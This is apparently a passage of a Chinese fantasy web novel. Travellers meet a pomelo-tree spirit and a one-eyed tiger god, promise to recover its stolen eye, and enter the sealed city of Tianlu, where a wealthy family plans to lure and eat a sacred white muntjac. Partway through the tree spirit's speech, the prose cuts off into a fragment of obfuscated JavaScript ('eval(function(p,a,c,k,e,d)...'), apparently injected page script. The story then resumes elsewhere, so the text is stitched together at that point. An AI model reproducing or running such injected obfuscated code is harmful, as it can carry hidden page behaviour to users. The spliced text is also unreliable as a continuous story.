这一路的独翊总是听而不闻,也不是没兴趣,或许还记得与那公子哥的一番对话,时刻愁眉蹙额,怅惘地站在一旁,偏头嗫嚅:“楼兄,我觉得兄长为我付出的一切难以想象,原以为在京城的这些日子,我一直以为外界认为的我,并非是我。” 楼少渊耳朵一竖,既然陌路的异姓这么多。多自己一个也无妨吧?正准备把自己的名字刻上去,找了一圈也没找到能凿刻的东西,于是边扒拉石子边说:“别太惊讶了,你被别人认出来也是情理之中,他要是真不希望别人知道你的存在。早该把你隐没在京城!其实也没什么好隐瞒的,你肯定有过人之处的,你兄长吃了那么多苦,肯定是要给你更好的生活呀,是为了往后让你有更多的选择!你虽然老是两耳不闻窗外事,这家主也当了个稀巴烂!这都不是事!你又不是天生吃这碗饭的!未来还有好多菜等着你呢!” 见他又开始犯难,这些年诸如此类的话听了不少!你规劝我,我调停你,指指点点的说教语气千回百转,最后好一副不成器的样子。不知到底说的是谁? 言过其实,独翊还是会被笑出声,自馁之人也并非觉得这是“捧杀”,更像是好友之间,会逢其适的别致趣味,夸到最后,剩的一点劲也没有了,不管怎样,还是早些让他兄弟俩团聚,省的在这拖泥带水,万一下次遇到的是不知名的蛇类,难道也要一并带走?睹物思人了。 想想就可怕,还是离他远点吧。 锦玉虽然听的不太明白,也该上前劝慰:“独公子,锦玉见你时也是有独到之处的,你难道没发觉吗?” “真是赞誉了。” 独翊涩然苦笑,攒着那股泄劲摇头走远。 锦玉愣在原地,感到莫名,难道是自己猜错了?神情瞬间变得微妙起来,他总觉得独翊一直在隐藏自己的实力,这种力量,不仅远在自己之上,就像是暂且被压制,自身却无从感知,旁人却觉得不同,刚想问问祁连将军,他一路来都没好奇这人的身份? 回望着他走远,低头摸出铜镜月,伸出手戳了戳他,触感之轻,也就给他挠痒痒了一样,思虑一断,便将想法隐了去,既然祁连将军对他没顾虑,也就打消疑虑了,于是带着铜镜月去看庙外的山景。 锦玉在地上捡到了一条枝芽,即便不用瑕瑜,亦可以化枝为韧,灵力渐增到手心时,枝条便很轻易的幻化作一根绳子,将铜镜月系到了脖子上,惹斜处花枝乱颤,故人早已近身,好一副青镜玉郎的模样,总算带他看清了周围,并未察觉出什么异样。 见他们都走进屋内,独翊定神一瞬,思绪飘去,并无意向同行,直至空中弥漫起一丝淡淡柚香,举步上前,身子不由自主的离开此地,转而绕到庙后,近旁有一棵柚子树,这冬月里竟也长势茂盛,实在惊人,仔细一数,结果了七颗,既然无人照看,当真是棵野树,当下并无水源,就让他们解解渴,摘一个也无妨吧?刚要伸出双手,身后就有一道女声传来:“仙君临驾小庙,有失远迎。” 背后正是文旦君,她一身缃色宽袍,一系翠绿发带延长至腰身,面容柔和,眼如琥珀,不似凡人,独翊立马明白过来,看来也是这山林一方的守护,是被抓了个正着,摘柚子的手瞬间僵在那,连忙尴尬的缩回了手,作揖道:“恰逢此地,刚想摘果,却是个有主人的,实在冒犯了。” “无妨,仙君自当随意些,请随我来。” 文旦君轻笑一声,说起话来也是随和,半路指引,将他带回那间小庙,独翊跟上去,又转头看了看四周,一边挠挠头,这也没人啊,哪来的仙君?难道是锦玉?怎么就不见了?还是那么胆小。 庙不算很大,前后无门,难免被风吹雨打,里头有枯枝败叶积累,像是要堆出一张树叶床来,两人从后边绕到前堂,路过中间时,瞥见侧面一幅山君图,采用黄麻纸所绘,毕竟很久没有润色,山君图黯淡了不少,还好这虎啸风生之相并未破灭,脑海中瞬间激起一阵浓墨重彩,见那山君脚踏枯骨,有上山恶鬼、下海夜叉手持武器将它包围,眼下引起风吹草木动,魂绕着满是怪诞不经的气息,谁也无处藏形匿隐身迹,遇险难辨真伪,叱咤一啸百鬼散。 庙中牌匾采用杉木雕成,门匾篆刻而生,边框却无任何纹饰,边缘附有红漆小字:山君自是猛虎道,奸佞小人,食以化之。 想必遇真也十分传神,不再多想,文旦君将独翊带到了庙前,锦玉和铜镜月早就在前方,旁边还伏着一只赤虎,看它双耳圆润,眉前生白,方为乌金亮眼,长须独立,身形挺拔,目光如炬,毛色赤黑如丹枫,仔细一注意,却少了一只右眼,当真可惜! 来回脚步传出一阵动静,赤虎扫了扫耳朵,这会儿正深思熟虑的打量着来人,不用多说,山君图绘的便是这赤虎。 楼少渊不敢逗虎,只好躲到另一棵树上远远偷看,巧的是,这处也是一株柚子树,抬头扫视一圈,离近点儿在头顶,也结了一颗柚子,这柚子生的极大,正会儿摇摇欲坠,又怕那山君注意到他,于是紧闭双眼,浑身发抖,极为害怕。 将树晃的也跟着哆嗦,时不时的抖落下几片树叶,以为闹出动静了,更吓的站不稳了,老是觉得还站在地面上,毫无安全感可言。这边的兰桡跟动物们打成一片,像是没有半分威胁。 不一会,楼少渊有种不详的预感,原来顶上这个摇摇欲坠的柚子,如同活过来一样,来回摇晃的越来越快,树下的传来的呼吸声极重,像是有东西忙不迭地从远处赶来了,低头乍一看,还以为有雪堆积在树底,可也没下雪呀! 没成想是只白虎! 想必胖的爬不上去了,就开始一个劲儿地撞树,楼少渊被吓得一个激灵,差点挥手抓不稳,踩不稳树干,树干没折,险些把自己折底下了,大喊道:“啊啊啊!!!啊啊!!我没命啦!!” 邵为雪仰首轻笑:“你早该爬上高一点的树。” 稳住身形后,楼少渊低头一看,见这白虎的块头远比那山君还壮上许多,今日又精神饱满,十分活泼,右脚踩着柚子,举目围他,作势轻轻一踢,柚子撞到树上,这阵势,难道还想把楼少渊撞下来?吓到他不敢再乱动,白虎又低头叼起柚子,他才回过神,原来树上的柚子这么少,都是给它当球玩了,好不巧!楼少渊就偏与它对上眼神! 忽闪一瞬间,一道身影从上抛下。 那颗柚子硬生生的砸到了底下的白虎脑袋,最后闷啸一声,将那白虎栽倒了,四脚朝天一动不动,好像被砸晕了。 一只白鹿从远处奔来,又有灵麂穿过林地,越过灌木,嘴里叼着枯叶,打算集中起来,给自己做个窝,一听虎啸沉闷。才前来查看,这灵麂和白鹿,皆是通体雪白,欢蹦乱跳,极为罕见,是白祥之兆! 它们连忙将枯叶扔下,原以为是想看白虎的伤势如何?见它接近,白虎仰着天轻吼了一嗓子白麂,怕那白麂的獠牙碰到它,那远旁的山君就不悦了,虎眼射去,两方对视,盯着它看了良久,白虎立马老实,倒地不起,四肢朝天不再动弹,任由那白麂在它身上一蹦一跳。 见白虎被教训,白麂不移动半分,还是幸灾乐祸的在它肚子上蹦着,白鹿则是用头拱了拱白虎,想让他起来,又怕头上的角戳到白虎,“呼哼”一声之后用前蹄踢了踢他的脸,白虎被彻底又惊又吓后,空落了好一会。 楼少渊有些得意,反正不是自己干的,只要时刻注意树下的动静就好了,自我侥幸后,紧接着又爬高了几步:“不碍事,哈哈,高的我也爬不上去!只能寻了个矮的,不过长得威猛的那只还是没注意到我,底下那只白虎胖胖的,还有点傻傻的,应该上不来,嘿嘿,我还能活一会。” “怕什么?这老虎不伤人!很乖的!”兰桡手上持着一根分叉木棍,蹲着给赤虎挠头,山君像是舒适过头了,眼睛闭着跑神了好一会,传出一阵“咕噜咕噜”的声音,察觉到有人注视它,顿时虎威不保,咧牙露嘴变回凶猛的样子,忙着四处镇吓其他人。 见状,楼少渊也只能牢牢地抱住树,像是抓住了命根子一样,一刻也不想松开:“简直怕死了!它是你养的宠物吗!你难道不清楚猛虎的特性?本就好嗜杀!他们做妖的天生不怕,是有不寻常的天赋!到时候化个形就飞了跑了!留我一个两只脚的算什么?我连个能护身的法子都想不到,你能降虎,你师姐有剑!我只有一把扇子!难不成我变成伥鬼后,还要每天用扇子给它挠痒!要是它生气了,到头来我也得挨一掌。” 兰桡倒是觉得很有道理:“好像也不错,看你想不想舍命了。” 楼少渊泪眼婆娑,抱头大叫:“不想!我一点也不想!!” 这白虎玩柚子如同玩球,蹲在树下,精力旺盛的推来推去,一口咬住柚子时,感觉味道实在呛鼻,扒了两下脸,柚子也没顺着嘴滚出来,呼呼在鼻下大喘,是咬的太深,卡在虎牙上了,柚香刺激到它,惹得连打喷嚏,甩了好几次头也没掉下来,直到那灵麂注意到它被柚子卡住了嘴,连忙伸蹄,想要小心翼翼地将柚子从它口中踢出,却怕被咬住腿,一急之下,那独眼山君起身,缓步走过去。 紧接着传来一声大吼! 瞬间静音!这柚子就轻易的掉在了地上,转身的离开的瞬间,那虎尾又重重的扫了一下它的脸。 灵麂和白鹿则是目瞪口呆。 “你是谁?想来不是这庙中人吧?” 兰桡抬眼问那文旦君,心中存疑,毕竟这山郊野外的,能终日轻而易举与猛虎作伴,到底是何人? 文旦君坦言明说:“小仙乃是此地修幻而成的一棵柚树,那年腊月过后,山中积存了大量的湿寒之气,自身畏惧寒冷,山君又是烈阳之身,自今以往的依附之举,才保小仙多年不死,后修得树精,也要报这一命之德。” 锦玉颔首:“锦玉记得,这位是文旦君。” 铜镜月终于解惑:“倒想看破这庙是不是障眼法,想来不是,冒昧了。” 文旦君细声含笑道:“祁连将军,小仙的修为还够不掳掠迷失之人,论作怪一事,更是山外有山,不敢逾越。” 铜镜月狐疑:“哎!你如何认得我是个将军?” 文旦君顿了顿,躬身行礼:“小仙认得中书君,未必不认得将军。” 铜镜月顿悟:“哦对!糊涂了!我们锦玉也是很厉害的!” 文旦君看着树上瑟瑟发抖地楼少渊,劝慰道:“公子不必害怕,山君和白虎与这灵麂鹿同为庙中座上神,心怀天地,并无害人之心,白虎如此伶俐,乃为山中少见,源于山君时常独行山林间,却身下无子,有日天降异象,恐有仙灵出世,而后,这只白虎就出生了。” 四脚朝天的白虎看着文旦君提到了自己,那双亮瞳眨了眨,咧开嘴一笑,舌头软躺在一旁,这模样,着实不像灵兽。 听到这,待在树上的楼少渊蒙头深思,这锦玉不是花妖吗?按理说,树精会比较厉害一点吧,看样子,这些妖怪都很尊敬他一样,难道还有什么过人之处?眼下思绪又被打乱了,这猛虎不管真通人性还是故作姿态,得先离开这边才行,他可不喜欢逗老虎!于是他按捺不住,问:“你要是这的土地仙,是否听说过天禄城?不是说最近有场庙会吗?我们这一趟也打算去瞧瞧,你可知有何大场面?” 文旦君直言无隐:“自然是听过的,小仙也是颇闻少见,各位既是慕名而来,便直言了,庙会中主祀自然神或是本地神,若有水河,便载有歌舞龙舟,也会有人组织庙戏,据说有幕瑰奇之戏,称之为“阴阳戏”,最后便是夜市火花,持续时日为三日或七日整,具体不详,这已经很多年前的事了,这也只是小仙未化形时,在旁人的口中得到的印象,如今城门紧闭,尽数外乡来客不入城门,多数都是城内民众自谋举行。” 楼少渊一头雾水,找到重点,突觉诧异说:“啥?为何要封城?不入城门又是什么意思?这么说,前面那个地方挤着那么多人,原来是想去也去不了?那我们此行岂不是也会走空?因何缘故?” 文旦君摇摇头:“只因天禄城一带曾多次发生虎患,众虎深入人群,群起而攻之,大肆伤人!天禄城近数月未敞城门,清剿群虎之事难以惊动官府,即便有途径,也是让壮汉与猎户各自筹谋将其射杀,那年,山君则是灵识破开,小仙化形后作陪,选择将群虎赶入深山,远离村镇,这才平息虎患,或许是知道了山君的踪迹,天禄城里外寝食难安,即便虎患平息,可杀戮兴起,多日后便发觉山中麂鹿明显变少。” 兰桡大吃一惊,情绪不太稳定:“什么?你们替他们赶走了虎患,他们就要反过来捕食麂鹿?这也太可恨了!” “妖是向往人世间的自由,却恐惧自身存在是否被人猜忌,于是藏形匿影于世间,可时日一长,人越向往妖岁月之长,误以为食肉可获延命之法,心欲不改,邪念不散,明朝骨化风成,苦主难言,于是妖力尽散,捕猎麂鹿一事对他们来说不足为患,反而知道了山君生智的秘密。” 言罢,文旦君上前折下一枝柚子叶放入灵麂口中,从袖口又拿出一枝桃花放入白鹿口中,忽然,那灵麂愤愤不平地呼出一口气,气的将那柚子叶生嚼进肚中,吃完后,又开始原地一蹦一跳的表示不满。 这才令她想起:“抱歉,当时承诺过的,今日是灵麂该衔桃花了,这是玉京山的桃木,属南枝,看似含苞未放,实会在土中留下花瓣的痕迹,这就会证明你来过了,往后去一地造福民安,围城墙之下绕一圈,可保邪祟不侵,趋吉避凶,要多将此事传承下去。” 楼少渊如堕五里雾中,实在认不清真相:“哎哎?这只老虎的眼睛?怎么回事?” 兰桡动怒斥道:“还用说!恐怕就是那些盗猎者干的!我想不明白,这城中人捕食麂兽鹿肉,为何还要衔花绕城祈福?” 文旦君无奈道:“少数人之行,怨不得其他百姓,山君庙就是城中百姓数年前修建的,那时因虎患的他们无从还击,加上多月旱灾,只能修筑庙宇向天保佑,山君的眼睛则是在山中巡行时,被人射中右眼,最后落入天禄城中,以小仙一人之力,实属一木难支,小仙在此恳请各位,此行务必为山君寻回那双乌金瞳!其中若有变数,我愿以性命补缺。” 文旦君正要伏地稽首了,是朝着独翊,恐怕不妥,独翊差点也要给她跪了,连忙上前扶起她:“文旦君不必如此,这一趟总是要走的,是非成败,总是要去了才知晓该做什么,虽不能笃定,自会竭尽全力。” 站稳后,文旦君纷纷道谢:“多谢仙君!若是能将山君之瞳归还!小仙感激不尽!但着实有险,各位应当尽力而为!恕小仙不远相送,就让白鹿与灵麂相送一段路吧。不过灵麂得记住味道,不可贪玩,不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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独翊如今的学识似乎贯通了不少,一本正常的说:“楼兄,常言道,都说一书生在山间行走,要考取功名之时,就会日夜吟诵诗书名理,这山中的树木花草,飞禽走兽听了,时间一长,就会被点灵识,这灵智一开,于是沐浴天地人道心法,日夜不息,从而化形成人。” 楼少渊挠头猜疑:“这些东西得等多少年啊?!按照这个速度,这辈子要经过多少朗诵的书生?这些精怪除了守山,就没别的什么欲望吗?还有那些在街上和我们擦肩而过的,到底有多少是妖怪化形的?” 兰桡云淡风轻道:“人外有人,天外有天呗!管它们多久化形,我觉得跟人也差不多,有些人就是天生命好一辈子,有些人就苦一辈子,还有些人呢,运气总是差点,结果好事多磨一辈子,它们命够好啦!要是遇到哪哪门派的捉妖师,早就打回原形抛尸荒野了。” 独翊也是深信不疑:“不错,就如这兰桡所说,人外有人,天外有天。如果一棵树精化作成人,于是肉身死亡,那便不算死亡,因为真正的肉身,也就是它的真身,就是一棵树而已,连接着它的根,根顽不死,若是不将其砍伐,即便为人时的身体受到过伤害,它还是有机会再利用精气凝聚出灵体,起死回生的,这就是树精的奇特之处,生复死,死轮生,就像最初有人无意中破开它的灵识,自我打开了灵智一样。” 这树精就会冒出一缕精魂,别人先是触摸不到,在这人间走上许多年,途中也会学着人讲话,做事,文理兼知可并不通情理,慢慢的,想成人的欲望越强烈,就渐渐显出了人形。 楼少渊连连称赞:“一棵树精,也是怪得出奇!我也喜欢这种方式!很有理想一样!感觉都可以按照自己的意愿生活!那岂不是太美满了??!” 邵为雪摇摇头,相当反对:“这未必是好事,它也是会贪恋世间的,这是它的开端,却不是人间的开端,一旦踏入,就会被推着走下去,往后的路很难说,好比人在求真,它在求人。” 兰桡满怀信心地说:“这个我知道!这就叫无心插柳柳成荫。” 此刻,独翊的心境总是会在不经意间改变,回悟过来,眼中掠过一丝笑意:“你们是聪明的,无需过多提点便会摸透,通晓其意,想必未来遇到很多困难,也能无师自通。” 被一顿夸奖之后,兰桡显得心满意足,羞涩地撇撇嘴:“入情入理!这本来就很简单嘛!” 楼少渊心中萌生起复杂,总有些令人害怕的问题悄然而至,微微怯声:“独翊,那你也会驾鹤西去吗?我是说,你会不会离开我?” 难以料到他会这么说,兰桡一脸古怪,怒气冲冲地将他挤到一边,指着一棵高大的松柏暗喻,没好气地说:“你咒谁呢?再怎么样也轮不到他们先走吧?你不会忌妒别人活的比你久吧?!你要真害怕就先起个头好了!先行撞死在这棵树上,给我看看死透的尸体是什么样的?到时候去地府当差还能给个照应……” 见他止不住嘴,邵为雪急忙将他拉开:“不要轻易提起任何有关生死的话题了。” “我哪想说啊?有人要提,那就不得不死呗!要走的反正留不住,干脆早点去死好了!脚下便是福地,省的挑了,要是总是这般好为事端,注重千奇言论,刚才就得把他喂老虎了。”兰桡逐步快行,邵为雪还想说些什么,最后按住他的肩膀,和缓地说:“知道你经历坎坷,你若是从不对我提起,我也会静候佳音,不管你有没有听进去,往后之路更不要轻易得罪别人。” “我才没有,我们不管他,师姐,你会不会永远都对我这么好。”兰桡侧头问她。 “若不违背师命,怎么样都随你。” “祁连将军,终有一日,锦玉也会送你归乡。” “哎呀!我们锦玉真是长大了!” 见各方都一语为重,为对方承诺些什么,独翊倒是没太大的反应,当即走到他身边,轻笑着摸了摸他的头:“不论何时,要想着当今。” 楼少渊顿时哑然,想起与楼半仙刚认识的时候,总是催他有何梦想?总之不能一事无成,要多想想未来,如今怎么又是当下了? “管他呢!反正人各有命,谁也说不准谁。” 更像是自嘲的语气,兰桡几个跨步,便追上了灵麂和白鹿,他拿出木雕羊在跟前晃了晃,指着小羊介绍给它们认识,叽叽喳喳的说个不停,直到白鹿注意到这个怪家伙,好奇的拱了拱木雕羊,白麂也抬蹄,小心谨慎地碰了碰它。 这么看来,他好像和每只动物都能说上几句。 他将柚子分四块剥开,一块约四瓣,最先递给了他,一旁暗气暗恼的楼少渊还是没接,于是把另外三块分给了邵为雪和锦玉,跑上前去拿给兰桡,又退后几步,和闷闷不乐的楼少渊站在一起。 两人走在最后面。 他将柚子撕成了一个帽子,盖在了楼少渊头上,见他模样如此,实在好笑,他连半分脸色也不给,自顾自沉默,于是独翊笑着对他说:“独翊不会离开,往后的他不仅会保佑楼兄身体健康,也会祝长亭公子今后逢人得意,诸事太平,也愿你长久如此……我确实有很多做的不对的地方,希望此前你能够为我指点迷津,至少你比我更懂人间道义,这么些年,太纵容一位心性不定的少年,也的确不是好事,可我是坚信你能变的稳重,总有一天我也能体会其中,不管任何时候,你的心中若是有我,我才坚信,我是真的能帮得上忙。” 一道柚香扑面而来,也不知道是不是在剥离时,油苞裂开的那阵辛辣感从上飘淋下来,刺激到了他的眼睛里,最后楼少渊的眼里噙着泪光,侧面却滑落了一滴泪,流到嘴角,他擦了擦,眼眶里继续蓄积起泪,抿嘴压声:“独翊,你能不能别装大人样?显得我太可怜了,就像……被大人管着一样。” 独翊以为他也着急想吃了,怕他尴尬,并没有关注他的脸色如何,只有手上的动作快了些,思考完,依旧在慢笑:“可独翊本就是大人啊?!大了你上百岁呢,不过你别担心,以我的形态,还可以再装嫩很多年,等到鳞片变得越来越硬,我就又老了一岁啦!” 花木荣枯本是寻常,人之生死终归聚散。 彼此都心照不宣,楼少渊又是顶着个柚子皮离他远远的,心想这些些雅致人出口成章,总是一副伤心的意味,他很抗拒!要求他自重自爱?更不想理!这么多年,男人的脸上总是挂着一丝笑意,像是不论遇到何种困难,只要肯执着,就绝对不会被埋没。 一路上的独翊将剩余柚子上的皮去掉,他也不知这是何种口味?就不必尝试了,反正人间的东西总是极好吃的!想必屋外的梅花已经开了,烧饼还是像前日的一般美味!后将澄亮、蜜黄色的果肉塞到了楼少渊手中,也能吃上一路了。 见前者甘之若饴,想必他也能不改其乐。 27. 介如游 时至戌,天禄城外。 白鹿与灵麂将几人送往门前,原地对视了一会,想起承诺过的山君之瞳一事,还需几位多费心,虽无望令二者作声,表述言喻之情,当它们提起步伐走上前来,却表现的十分稳健,将桃花枝与柚子叶一同置于地面,上前对几人低头行礼,纷纷作以道谢,既是告别,接着又叼起,最后衔枝而去。 各朝两边分别奔去,楼少渊专注的左看右看,直到最后一丝白影悄无声息地埋没在深处,这才回过神,反倒顾念起它们此行不是太容易被发现了?等到疑问冒上心头,稍稍不解:“它们这样岂不是更容易被发现?这白毛模样的,在夜里也是好认极了!要是被捉住,那还了得?” 风起月升空,兰桡累了,就找了一块镇石坐下,将抚遗从身后拔出,手持地面,说:“多虑了,它们可聪明着呢,哪能这么轻易被你这种凡夫俗子识破,飘迹其间只显化花瓣落地,难现真容,这灵麂鹿的真身自然是肉眼也识不清的,除非它们落入旁人设置的陷阱,不然谁也看不见它们衔花绕城的模样。” 难怪哎!果真不一般。这就要离开了,我是有点不舍呀,还没告诉我们进门的办法呢?封城那么多年,我看宵禁早就作废了,再也无需用什么路引做揭示吧?我可没这个啊!没人管,要不我们翻墙进去吧?”眼下确实封城了,叫喊半天不见人来,貌似喧嚣就只存在于里面,料想今晚,估计得吃闭门羹了,楼少渊更想使劲看出一点门缝,哪怕是一点也好,密得一点也不透风,见没戏了,也找个石头坐着。 兰桡起身,将抚遗剑从地面拾起,早一步奔过去大肆拍门:“好大的口气,你翻一个试试?这么高的城墙,真以为这是别人家宅院呢?再不济,也得先敲个门吧?” 楼少渊也起身叉腰反笑,直接道:“门?就你这小身板,你看这门敲得动吗?敲醒缝中的蚂蚁还差不多。” 地上散落着几株花枝,锦玉这才注意,弯腰捡起地上遗落的“杏花”绕指来回转,摩挲片刻抬头:“街边那位公子,各位是否还有记忆?看见他后车所覆盖之物,也是一车杏花,看这花枝非淡亦非浓,定是他落下了,不过好生奇怪。” 独翊也接过来嗅了嗅,这掺杂在其中的花香并不是出自杏花,大惊:“我总觉得这枝特别像桃花?!难道?!灵麂是拿错了?!真不妙!它误将杏花作桃花了!” 楼少渊低头纳闷,望向黑暗:“那怎么办?有何讲究吗?情况再怎么紧急,这下也追不上它们了吧?” 独翊也不知情了,先将花收拢于袖口:“先收着吧,找到山君瞳后,再还给它们。” “哎!早说有这等事,这一遭走的可真不容易,那闺男事先也不提前说道,省的自讨没趣,这人生地不熟的,这下好了,害我们白走一道!” 楼少渊张开双手,站在城外叫天喊地,隐约听见了城内花炮声传来,隔墙旁听,里头定是热闹的很,城外冷又黑,若是他独自前来被关门外,倒也可以和孤魂野鬼作伴,自我陶醉一会,眼下人太多,保不齐是找个落脚点了。 “客从何处来?” 众人吃惊,连锦玉都没察觉到这人从身后经过,更别说独翊了,不知道从哪冒出来的,再也不给别人疑问的机会,他就先自提名讳:“在下介如游。” 音容笑貌皆是真,此人为自己做了身素布袍,外头盖着一身月白的风帽,着实冷不到了,他直立的就像个木头桩子,若不是那只“蒙面盗贼”在他身上奔来跳去,他站很久,都不会有人注意到他,介如游给它做了一件单衣和露耳小帽,奔跑时更像一位侠士了,快速跑到他肩上做乞讨状,依依向外方讨好,尾上环纹相间,悠悠摇晃着好生滑稽,这张脸生得相当童颜,语调较为中性,凡人之身也不作假。 三人料到,于是放下戒备。 今夜走投无路,兰桡也别无选择了,便前去问他:“四方来客皆有,你懂得怎么进吗?” 介如游靠近,笑眯眯的问:“进什么?” 兰桡实话实说:“天禄城。” 介如游突然垂下头,叹了口气,又打起精神来:“要进去?那怎么行?我都进不去了,你们要是能进去,记得第一时间捎上我。” 楼少渊上前追问道:“就是想问问你,有什么能进去的办法?” “缺钱咯!我的浣子要饿死了,我被人赶出来了。” 言罢,那“蒙面盗贼”忽然使尽浑身解数,跳下身前悠悠转了两圈,更像故意醉酒,直接躺在地上不省人事了,假意装死,这么熟练的做派,更不像第一次了,直到独翊觉得奇妙,立刻蹲下身,投了两枚铜钱在它手上,撞击声落入手中,像是察觉到了一样,尾巴扬了扬,起身看了一眼,数额没达标,又躺下了。 好吧,再装死一会。 ……奇怪?主人今天怎么不哭了?!! 邵为雪不想浪费时间,立马问:“多少钱?” 介如游抬眼思考了一会,手下却隔着布料摸了摸袖中的盘缠剩的如何了?真相就是一分一毫也没有,但还是要假意不懂人情般,努了努嘴:“不多不多,想给多少给多少,要是这件事真成了,我就是通关文牒!” 一顿操作下,邵为雪摸出一包铜钱,毫不犹豫的丢给了他,介如游见她如此爽快,扬起双手稳稳接住,也不磨蹭了,一手向下捞起那只“蒙面盗贼”,将它夹在胳膊下赶往城门口,拍门大喊道:“我是介如游啊!是来还钱的!要钱的把门开开!路过我这个店可没你们这个村了!” 敲了半晌,终于有人来开门了,那人看见他。慢慢睁开大眼,终于看清眼前的人,嘴张了张,按下了骂声,想必早就和介如游相识的不清不楚的,忽而又感到奇怪:“你好大胆呀!一晚上就赚回来了?又是抢劫去了?老天待你还挺重视的,没让人给追杀回来,要是连累了债主,有你好果子吃的。” 那人侧头看到几位素不相识的,又道:“哇!这么多人?都是哪来的?你到底骗了人家多少钱?” 介如游却不当回事,正津津有味的偷摸着看,听到他问,将铜钱揣在“蒙面盗贼”的怀中,“盗贼”也很识趣,闭着眼也小心翼翼的抱住,呼呼大睡起来,介如游一手抱“盗贼”,立即伸出右手,庄重的对着几人介绍道:“这位是我的老板!” 一阵狂风窜进了门内,那人如同隔风墙一般,将风都挡在自己身前,这下浑身上下打着哆嗦,招招手说:“哎呀不说了,请进吧,哪能不让人进呀,外头不宜久留,就是有点怕怕。” 介如游大肆挥舞着“蒙面盗贼”的尾巴,一摇一摆的样子极为可爱,高兴说:“哎呦!可以进啦!快进来!” 几人终于进入天禄城,想必封城也挡不住这盛况,来回人头攒动,拥挤一阵后又宽阔了,远望过去,实在看不清尽头,介如游早就抱着“蒙面盗贼”不知去向,楼前有人登台唱戏,不是来人请的,更像是民间组织起来的草台班子,咦咦哇哇的唱腔有板有眼,对面又是瑶台酒楼,勾栏外啼声愁愁,放眼此间,俗相不绝。 忽然,独翊倒是看到什么熟悉事物?原来就是那场草台班子戏,激动得不行,原地打转一圈,拉着楼少渊连连跺脚,颇为激动:“楼兄,我们去听戏吧?!” “这有什么好玩的,叽叽喳喳的又听不懂,太晚了,当务之急先找客栈,以后有的你看。” 楼少渊驳回了。 独翊最爱听戏,听人间戏,这做派,就像是天上的神仙入了凡间,戏罢才散,听的也入神,稍不尽兴就兴致全无,这毛病从楼少渊来时,就改掉一半了。 所以独淮客一开始是杜绝的,另外两人,也就是席湘筠和芦荻秋,觉得独淮客作为妖,怎么也爱民间笼统一说?弟弟喜欢什么便让他多去尝试,不要阻绝,这样他对任何事都充满热情,对外放松管制,便派生无邪之道,独抒己见之风,当然,这也是个极端,一说自省其身就罢,二者若是跟个脱缰的野马那般,自当劣性不改,朽木难成器,更无可奈何。 奉劝多年后,独淮客也渐渐放宽心,从善如流,但愿他能做个潇洒公子游荡世间,心无所忧。后来一想,潇洒归潇洒,惹风尘不能做,走的太高也不行,太低又低声下气,京城独府之主最为恰当。 好在楼少渊对听戏无感,拉着他去到对面这处酒楼,几人挑了几道好菜好茶,为了能让独翊如愿,挑了个顺眼的窗外看了一会底下戏,见酒楼中也有客宿,那就免了再寻,没成想靠窗的房间早已满客,想必这番只能看后景了。 与此同时。 回到府中的谷莫渠四处打量,瞻前顾后,门前的罗汉松前插了正待燃烧的三炷香,还剩半截,心中却没好气,好在奔波了一路,回了趟家,怎会无人接见?好说歹说,惊喜也是要有的吧?听说是全府下人都去捣鼓庙会去了,早去了一刻钟,没空理他,于是步入庭院,百无聊赖道:“我才没回来多久?怎么连门也不开了?如此封闭的情况下,谁能知道里面有庙会?” 阿童在厨房搜罗了一堆零嘴水果,端着走来:“阿童也不晓啊……吃点吧少爷。” 他将果盘放置在摇椅的右侧,谷莫渠揽了揽袖子,等他坐上摇椅,欲要摘葡萄,触之可及的指尖又顿了顿,笑着宣布道:“今日幸事,是遇到了我的东阳女,阿童!快帮我查查!她是东阳哪里的姑娘??!我要即日提亲!不不不!是明日!这些杏花你得好生照顾,后日我就要抱得美人归!” 阿童见他胡乱言语,到底说不清是何时了!于是替他压下大话,小心试探道:“可是公子,还剩一天!这杏花可是用于明晚那场阴阳戏上的,想必刚才卸车,戏台周边早已命人插满了杏花,已经没有剩余可用的了,我想他们此行是从东阳而出,也不一定要来天禄城呀?况且那么短时间内……定是不回东阳的。” “什么?!你不是说他们此行也是奔着天禄城来的吗?怎么又出尔反尔了?” 谷莫渠猛然嚎哭一阵后,又起头顿悟:“不行!绝不能让美人落入别人手中,我若是娶了她,岂不是可以和那个京城的什么独慎之打好关系!美人和人脉,自然是一举两得哈!我看谁敢不答应?不过他们要杏花做什么?我家美人都看不上的东西,其他东西也能看上眼?” 阿童好似在哪打听到了消息,也不打算隐瞒了,轻咳了一声回应:“换句话说,根本是为了引那灵麂啊……” 灵麂? 谷莫渠疑惑了,摸了摸下巴后,才记起什么一样,险些倒下去,双腿也争相开始颤抖,连带着摇椅来回晃动:“什么灵麂啊?是那黄麂吧?他们经常吃的那个?我离开这么久了,还以为这些嗜好早就消亡了,怎么还时兴虎口夺食?就算如此,当初被那些老虎吓个半死,也是应得的了!还不长记性!” 阿童赔着笑脸,道:“是呀少爷!不过这也只是个传说罢了,据说这灵麂与白鹿衔花绕城一圈,传闻中衔的就是这杏花!它通体全白,如同山间神灵!不过灵麂是后来加上的,又被称之为“白麂”,说是这东西机灵,却又蠢笨,黄麂也很容易被捕杀,灵麂便不同啦!它是看不到的。” 谷莫渠自然是万分不信,毕竟传说这种东西各执一词,是非真假有待考证,猜疑道:“当真是杏花?什么叫机灵又蠢笨?这你也信?” 阿童告知实情:“其实每年庙会时,都会运来不同的花吸引灵麂,但是无一例外没有成功,只是这次轮到了杏花,灵麂鹿乃是人为供奉,自然是见过才要信奉的了,少爷要是不触碰,应当敬而远之。呃,反正这一趟收拢的花多,没准能引来真的呢??!” 谷莫渠开始胡思乱想了起来,如此顾彼忌此别人,想着东阳美人身上也挂着剑,要是位习武女子,定是无人能近她身的,可是山中真有猛虎出没,要是真遇上了,也不知能否脱身:“唉!你说东阳美人会不会有危险?一路来我还是没有见到过她的身影,如果不经过大路,去的也就是山中?!那山中有多少豺狼虎豹啊!会不会她们已经……父亲?!” 谷老爷咳嗽了两声,沿着庭院的小路走来,看他面色黯淡,低眼浑浊,见到他的第一眼,便是嘱咐道:“杏花引麂一事,切莫伸张。” 谷莫渠皱眉不笑,瞬间站起身,实在听不下去了:“难道您也信这些东西?” 谷老爷仰面朝天,不停地梦呓道:“它的肉与一般黄麂的肉相同,可药效不同,沾灵气而生,食之可延寿!若在有生之年能够遇见,或是食上一块,让我死也是瞑目了。” 谷莫渠连忙站起身,哀求道:“爹!您别再这样了,残害生灵也并非是能救人命的!” 